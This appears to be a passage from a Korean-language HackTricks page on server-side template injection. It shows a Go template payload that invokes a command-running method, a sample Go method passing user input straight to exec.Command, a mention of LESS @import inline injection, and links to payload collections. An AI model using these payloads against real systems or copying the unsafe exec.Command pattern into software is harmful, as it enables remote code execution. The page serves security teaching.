Go์—์„œ SSTI๋ฅผ ํ†ตํ•œ RCE์˜ ๊ฒฝ์šฐ ๊ฐ์ฒด์˜ ๋ฉ”์„œ๋“œ๋ฅผ ํ˜ธ์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, ์ œ๊ณต๋œ ๊ฐ์ฒด์— ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๋Š” System ๋ฉ”์„œ๋“œ๊ฐ€ ์žˆ๋‹ค๋ฉด {{ .System "ls" }}์ฒ˜๋Ÿผ ์•…์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋ฅผ ์•…์šฉํ•˜๋ ค๋ฉด ์ผ๋ฐ˜์ ์œผ๋กœ ์†Œ์Šค ์ฝ”๋“œ๋ฅผ ํ™•์ธํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ์‹œ์™€ ๊ฐ™์ด:

func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}

์ถ”๊ฐ€ ์ •๋ณด

LESS (CSS Preprocessor)

LESS๋Š” ๋ณ€์ˆ˜, mixins, functions ๋ฐ ๊ฐ•๋ ฅํ•œ @import ์ง€์‹œ์ž๋ฅผ ์ถ”๊ฐ€ํ•˜๋Š” ์ธ๊ธฐ ์žˆ๋Š” CSS ์ „์ฒ˜๋ฆฌ๊ธฐ์ž…๋‹ˆ๋‹ค. ์ปดํŒŒ์ผ ์‹œ LESS ์—”์ง„์€ @import ๋ฌธ์—์„œ ์ฐธ์กฐ๋œ ๋ฆฌ์†Œ์Šค๋ฅผ ๊ฐ€์ ธ์™€ (inline) ์˜ต์…˜์ด ์‚ฌ์šฉ๋  ๋•Œ ํ•ด๋‹น ๋‚ด์šฉ์„ ๊ฒฐ๊ณผ CSS์— ์ธ๋ผ์ธ์œผ๋กœ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค.

{{#ref}} ../xs-search/css-injection/less-code-injection.md {{/ref}}

More Exploits

๋‚˜๋จธ์ง€ ํ•ญ๋ชฉ์€ https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection ๋ฅผ ํ™•์ธํ•˜์„ธ์š”. ๋˜ํ•œ ํฅ๋ฏธ๋กœ์šด ํƒœ๊ทธ ์ •๋ณด๋Š” https://github.com/DiogoMRSilva/websitesVulnerableToSSTI ์—์„œ ์ฐพ์•„๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

BlackHat PDF

๊ด€๋ จ ๋„์›€๋ง

๋„์›€์ด ๋  ๊ฒƒ ๊ฐ™๋‹ค๋ฉด ๋‹ค์Œ์„ ์ฝ์–ด๋ณด์„ธ์š”:

๋„๊ตฌ

Brute-Force Detection List

Auto_Wordlists/wordlists/ssti.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

์ฐธ๊ณ  ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ